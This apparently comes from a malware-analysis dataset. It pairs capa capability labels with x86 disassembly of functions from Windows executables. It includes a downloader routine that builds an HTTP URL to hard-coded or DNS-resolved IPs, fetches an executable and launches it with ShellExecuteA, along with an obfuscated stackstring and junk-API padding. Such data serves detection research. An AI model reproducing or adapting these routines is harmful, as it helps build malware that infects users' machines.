joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402be6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
mov byte [ebp - 0x210], 0x68
mov byte [ebp - 0x20f], 0x74
mov byte [ebp - 0x20e], 0x74
mov byte [ebp - 0x20d], pe_nt_image_headers32
mov byte [ebp - 0x20c], 0x3a
mov byte [ebp - 0x20b], 0x2f
mov byte [ebp - 0x20a], 0x2f
mov byte [ebp - 0x209], bl
call sub.WS2_32.DLL_ntohl
push eax
call sub.WS2_32.DLL_inet_ntoa
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x210]
mov byte [eax], 0x2f
lea esi, [eax + 1]
xor edi, edi
cmp edi, ebx
je 0x402c6f
mov byte [esi], 0x62
mov byte [esi + 1], bl
jmp 0x402c9e
push dword [0x40401c]
lea eax, [ebp - 0x10]
push eax
push esi
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x2f
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x5a
call fcn.0040168e
and eax, 0xfff
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push 0x2710
push dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push eax
call fcn.004027f4
add esp, 0x18
test eax, eax
je 0x402ce9
push ebx
push ebx
push 0x403558
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
cmp eax, 0x20
ja 0x402cf8
inc edi
cmp edi, 2
jl 0x402c63
pop edi
pop esi
pop ebx
leave
ret
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x402d00
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push esi
lea eax, [ebp - 0x200]
push 2
push eax
call fcn.00402162
pop ecx
pop ecx
mov esi, 0x404b97
mov eax, dword [esi]
test eax, eax
je 0x402d3f
lea ecx, [ebp - 0x200]
push ecx
push eax
call fcn.00402be6
add esi, 4
cmp esi, 0x404bd7
pop ecx
pop ecx
jl 0x402d1f
cmp byte [0x404090], 0
mov esi, 0x404090
je 0x402d8e
push esi
call sub.WS2_32.DLL_gethostbyname
test eax, eax
je 0x402d7e
cmp word [eax + 0xa], 4
jne 0x402d7e
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x402d7e
mov eax, dword [eax]
lea ecx, [ebp - 0x200]
push ecx
push dword [eax]
call sub.WS2_32.DLL_ntohl
push eax
call fcn.00402be6
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x402d4d
pop esi
leave
ret
Function at 0x4330a0
Capabilities:
Copy file
Get thread local storage value
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa30
cmp dword [0x4debe4], 0x516
jne 0x4330c5
push 0
lea eax, [ebp - 0xa30]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push ebx
mov ebx, dword [ebp + 0xc]
push esi
shr ebx, 3
xor esi, esi
test ebx, ebx
je 0x433114
push edi
mov edi, dword [ebp + 8]
cmp dword [0x4debe4], 0x29
jne 0x4330f8
push 0
push 0
push 0
push 0
push 0x4013c0
push 0x4013f0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
cmp dword [0x4debe4], 0x1c
je 0x43311c
mov ecx, dword [ebp + 0x10]
push ecx
push edi
call fcn.00432f40
inc esi
add edi, 8
cmp esi, ebx
jb 0x4330d7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x401438
push 0
lea edx, [ebp - 0xa30]
push edx
push 0x4014a8
push 0x401564
push 0x401598
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
push 0
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4331a0
Capabilities:
Copy file
Set current directory
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
cmp dword [0x4debe4], 0x37
jne 0x43330d
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 0x4015f4
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
push 0
push 0x4015fc
push 0
push 0x401638
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor eax, eax
xor edx, edx
lea ecx, [ebp - 0x20]
mov word [ebp - 0x10], dx
push ecx
lea edx, [ebp - 0x10]
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
push edx
lea eax, [ebp - 0xfc]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0
push 0
push 0x401688
push 0x4016d4
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea edx, [ebp - 0x618]
push edx
push 0x4016e4
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push 0x4016f8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x401744
push 0x401760
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0x401790
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ecx, dword [0x4debe8]
mov eax, dword [ebp + 8]
mov dl, byte [ecx + eax + 0x12336]
mov ecx, dword [0x4db1e4]
mov byte [ecx + eax], dl
mov esp, ebp
pop ebp
ret 4
mov edx, dword [0x4debe8]
mov eax, dword [ebp + 8]
mov cl, byte [edx + eax + 0x12336]
mov edx, dword [0x4db1e4]
mov byte [edx + eax], cl
mov esp, ebp
pop ebp
ret 4
Function at 0x433420
Capabilities:
Copy file
Create pipe
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2fd8
call fcn.004342a0
mov dword [ebp - 4], 0
jmp 0x43343f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x332beaf6
jge 0x433500
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4debe4], 0x16
jne 0x43349a
lea ecx, [ebp - 0x874]
push ecx
push 0
lea edx, [ebp - 0x1078]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0x4017b0
push 0
lea eax, [ebp - 0x870]
push eax
push 0x4017bc
push 0x4017dc
push 0x401810
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [0x4debe4], 0x9e
jne 0x4334f0
push 0
push 0
push 0
push 0
push 0x401870
push 0x401890
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea ecx, [ebp - 0x1698]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
push 0
lea edx, [ebp - 0x1e98]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [ebp - 4], 0x3775ee
jle 0x4334fb
jmp 0x433500
jmp 0x433436
push str.n_LD
mov eax, dword [0x4debe4]
push eax
mov ecx, dword [0x4db1e4]
push ecx
call fcn.004330a0
mov dword [ebp - 0x1e9c], 0
jmp 0x433532
mov edx, dword [ebp - 0x1e9c]
add edx, 1
mov dword [ebp - 0x1e9c], edx
cmp dword [ebp - 0x1e9c], 0x3e79e
jge 0x433573
cmp dword [0x4debe4], 0x10
jne 0x433560
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x401900
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
cmp dword [ebp - 0x1e9c], 0x1e673
jne 0x433571
call fcn.00433340
jmp 0x433523
mov dword [ebp - 0x1ea0], 0
jmp 0x43358e
mov eax, dword [ebp - 0x1ea0]
add eax, 1
mov dword [ebp - 0x1ea0], eax
cmp dword [ebp - 0x1ea0], 0xdd9a7
jge 0x4335f8
cmp dword [0x4debe4], 0xc01
jne 0x4335f6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0x40195c
push 0
push 0x40198c
push 0x4019ac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0x4019d4
push 0
lea ecx, [ebp - 0x26a0]
push ecx
push 0x4019f0
push 0x401a48
push 0x401aac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x43357f
jmp dword [0x4db1e4]
Function at 0x4345a0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x4345c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4345ca
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x4345e1
mov edx, dword [ebp - 4]
push edx
call fcn.0043ac00
add esp, 4
or eax, 0xffffffff
jmp 0x4345e3
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4348c0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4348df
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4348e6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x4348fd
mov ecx, dword [ebp - 4]
push ecx
call fcn.0043ac00
add esp, 4
or eax, 0xffffffff
jmp 0x4348ff
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43f8f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x461524]
jne 0x43f8fa
repz ret
jmp fcn.00449f60
Function at 0x406760
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
mov ebx, ecx
mov ecx, 0x51022b
push edi
mov dword [ebp - 0x18], ebx
call fcn.004b7c9d
mov edi, dword [ebx + 4]
lea eax, [ebp - 0x14]
push eax
or edi, 0x2001f
mov dword [ebp - 0xc], 0
push edi
push 0
push dword [ebp + 8]
mov dword [ebp - 8], 0
push dword [ebx]
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [ebp - 0xc]
test esi, esi
jne 0x406870
xor esi, esi
test eax, eax
je 0x4067d0
push eax
call ebx
mov esi, eax
mov eax, dword [ebp - 0x14]
and edi, 0x300
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
test esi, esi
jne 0x406870
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x20]
push ecx
push esi
push esi
push esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x100
push ecx
lea ecx, [ebp - 0x220]
push ecx
push esi
push eax
call edi
test eax, eax
jne 0x406848
nop
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406760
mov esi, eax
test esi, esi
jne 0x40686d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], 0x100
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x220]
push eax
push esi
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x406810
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406859
push eax
call ebx
mov dword [ebp - 0xc], 0
push dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 8], 0
call fcn.00404e30
mov esi, eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406877
push eax
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407360
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd1d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov ecx, 0x510279
mov dword [ebp - 0x10], 0
call fcn.004b7c9d
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x4e490c
call fcn.00403af0
mov eax, dword [ebp + 8]
push ecx
mov esi, esp
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], esi
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.004049c0
add esp, 4
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0
call fcn.0040b860
mov ebx, dword [ebp - 0x20]
add esp, 0xc
sub ebx, dword [ebp - 0x24]
sar ebx, 2
call fcn.004059f0
mov ecx, eax
test ecx, ecx
je 0x407570
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
xor edi, edi
mov byte [ebp - 4], 2
or ecx, 0xffffffff
test ebx, ebx
je 0x407500
nop
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + edi*4]
lea esi, [eax + edi*4]
mov eax, dword [ecx - 0xc]
test edi, edi
jne 0x4074cd
cmp eax, 1
jl 0x40757f
cmp word [ecx + 2], 0x3a
jne 0x4074fa
mov ecx, dword [ecx - 0x10]
mov byte [ebp - 4], 4
test ecx, ecx
je 0x40745e
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, eax
test ecx, ecx
jne 0x407474
call fcn.004059f0
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x10]
mov ecx, eax
test ecx, ecx
je 0x407570
mov eax, dword [ecx]
call dword [eax + 0xc]
or dword [ebp - 0x10], 1
add eax, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
push 1
push 0x4e4834
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00404aa0
mov esi, dword [ebp - 0x14]
lea ecx, [ebp + 8]
add esp, 0x14
push dword [esi - 0xc]
push esi
call fcn.00404690
and dword [ebp - 0x10], 0xfffffffe
add esi, 0xfffffff0
mov byte [ebp - 4], 2
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4074f1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x4074f1
push eax
push ecx
lea ecx, [ebp + 8]
call fcn.00404690
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x4e4834
lea ecx, [ebp + 8]
call fcn.00404690
inc edi
cmp edi, ebx
jb 0x407420
mov eax, dword [ebp + 8]
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407519
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40755f
lea ecx, [ebp - 0x24]
push ecx
push dword [ebp - 0x20]
push eax
call fcn.004037f0
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
mov edx, dword [ebp - 0x24]
sub ecx, edx
and ecx, 0xfffffffc
mov eax, edx
cmp ecx, 0x1000
jb 0x407555
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40757a
push ecx
push edx
call fcn.004b7c8f
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004048a0
call fcn.004bebbf
push 0x80070057
call fcn.004048a0
int3
Function at 0x408120
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd33d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, 0x510279
mov dword [ebp - 4], 0
call fcn.004b7c9d
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 1
push 0x4e4904
push eax
call fcn.00404490
add esp, 0xc
push 0x4e4904
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
call fcn.004043c0
add esp, 0xc
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.00404180
mov edx, dword [ebp - 0x18]
or esi, 0xffffffff
mov byte [ebp - 4], 2
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4081b6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
mov byte [ebp - 4], 1
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4081d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp + 0x1c], 0
mov ecx, 0x440
mov eax, 0x40
mov dword [ebp - 0x58], 0x3c
cmovne eax, ecx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], eax
mov ecx, 5
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0xc]
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
xor eax, eax
cmp byte [ebp + 0x18], al
mov dword [ebp - 0x4c], 0
cmovne eax, ecx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x38], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x408257
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [edi], eax
cmp byte [ebp + 0x10], 0
je 0x408276
push dword [ebp + 0x20]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
add eax, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x408298
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4088f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4dd470
push eax
mov eax, 0x1008
mov dword fs:[0], esp
call fcn.004b8280
mov ecx, 0x510279
mov dword [ebp - 0x14], 0
call fcn.004b7c9d
mov dword [ebp - 4], 1
call fcn.004059f0
mov ecx, eax
test ecx, ecx
je 0x408aa1
mov eax, dword [ecx]
push edi
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
push 0x800
push 0
mov dword [ebp - 0x14], 2
mov dword [edi], eax
lea eax, [ebp - 0x814]
push eax
call fcn.004bad00
add esp, 0xc
lea eax, [ebp - 0x814]
push 0
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x4089b0
lea ecx, [ebp - 0x814]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408984
sub ecx, edx
lea eax, [ebp - 0x814]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00406d70
push 1
push 0x4e4834
mov ecx, edi
call fcn.00404690
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x408a90
mov dword [ebp - 4], 2
call fcn.004059f0
mov ecx, eax
test ecx, ecx
je 0x408aab
mov eax, dword [ecx]
push esi
call dword [eax + 0xc]
push 0x800
push 0
mov dword [ebp - 0x14], 5
lea esi, [eax + 0x10]
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x10], esi
push eax
call fcn.004bad00
add esp, 0xc
lea eax, [ebp - 0x1014]
push 0
push 0x17
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x408a61
lea ecx, [ebp - 0x1014]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408a30
sub ecx, edx
lea eax, [ebp - 0x1014]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.00406d70
push 1
push 0x4e4834
lea ecx, [ebp - 0x10]
call fcn.00404690
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.00404180
mov dword [ebp - 0x14], 1
add esi, 0xfffffff0
mov byte [ebp - 4], 0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x408a8f
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
pop esi
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004048a0
push 0x80004005
call fcn.004048a0
int3
Function at 0x408e30
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd51e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov ecx, 0x510279
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call fcn.004b7c9d
call fcn.004059f0
mov ecx, eax
test ecx, ecx
je 0x408f42
mov eax, dword [ecx]
push edi
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 1
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x408f31
mov edx, dword [ebp - 0x18]
xor eax, eax
push esi
mov esi, dword [ebp - 0x1c]
test edx, edx
je 0x408edc
lea ecx, [esi + 8]
nop dword [eax]
cmp dword [ecx], 0
je 0x408ecf
inc eax
add ecx, 0xc
cmp eax, edx
jb 0x408ec0
jmp 0x408edc
lea eax, [eax + eax*2]
movq xmm0, qword [esi + eax*4]
movq qword [ebp - 0x2c], xmm0
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
push 5
push dword [ebp - 0x2c]
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x408f30
mov edx, dword [ebp - 0x10]
test edx, edx
jne 0x408f05
xor ecx, ecx
jmp 0x408f1f
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408f10
sub ecx, esi
sar ecx, 1
push ecx
push edx
mov ecx, edi
call fcn.00406d70
push dword [ebp - 0x10]
call sub.WTSAPI32.dll_WTSFreeMemory
pop esi
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004048a0
int3
Function at 0x409770
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd687
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x29c
mov ecx, 0x510279
mov dword [ebp - 4], 0
mov dword [ebp - 0x94], 0
call fcn.004b7c9d
push 0x208
lea eax, [ebp - 0x2a8]
push 0
push eax
call fcn.004bad00
add esp, 0xc
lea eax, [ebp - 0x2a8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.004059f0
mov ecx, eax
test ecx, ecx
je 0x409995
mov eax, dword [ecx]
push esi
push edi
call dword [eax + 0xc]
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x2a8]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.004048d0
test al, al
jne 0x409832
lea ecx, [ebp - 0x2a8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409814
sub ecx, edx
lea eax, [ebp - 0x2a8]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.00406d70
push ebx
xor eax, eax
mov dword [ebp - 4], 0
mov word [ebp - 0x14], ax
lea ecx, [ebp - 0x12]
lea eax, [ebp - 0xd]
mov dword [ebp - 0x94], 1
push eax
push ecx
lea edx, [ebp - 0x90]
mov dword [ebp - 0x90], 0x4d005c
push edx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], 0x630069
mov dword [ebp - 0x88], 0x6f0072
mov dword [ebp - 0x84], 0x6f0073
mov dword [ebp - 0x80], 0x740066
mov dword [ebp - 0x7c], 0x49005c
mov dword [ebp - 0x78], 0x74006e
mov dword [ebp - 0x74], 0x720065
mov dword [ebp - 0x70], 0x65006e
mov dword [ebp - 0x6c], 0x200074
mov dword [ebp - 0x68], 0x780045
mov dword [ebp - 0x64], 0x6c0070
mov dword [ebp - 0x60], 0x72006f
mov dword [ebp - 0x5c], 0x720065
mov dword [ebp - 0x58], 0x51005c
mov dword [ebp - 0x54], 0x690075
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x4c0020
mov dword [ebp - 0x48], 0x750061
mov dword [ebp - 0x44], 0x63006e
mov dword [ebp - 0x40], 0x5c0068
mov dword [ebp - 0x3c], 0x730055
mov dword [ebp - 0x38], 0x720065
mov dword [ebp - 0x34], 0x500020
mov dword [ebp - 0x30], 0x6e0069
mov dword [ebp - 0x2c], 0x65006e
mov dword [ebp - 0x28], 0x5c0064
mov dword [ebp - 0x24], 0x610054
mov dword [ebp - 0x20], 0x6b0073
mov dword [ebp - 0x1c], 0x610042
mov dword [ebp - 0x18], 0x5c0072
call fcn.00403f10
mov edx, dword [eax]
mov dword [ebp - 4], 2
pop ebx
test edx, edx
jne 0x40995b
xor eax, eax
jmp 0x40996f
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409960
sub eax, edi
sar eax, 1
push eax
push edx
mov ecx, esi
call fcn.00404690
lea ecx, [ebp - 0xa0]
call fcn.0040c550
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004048a0
int3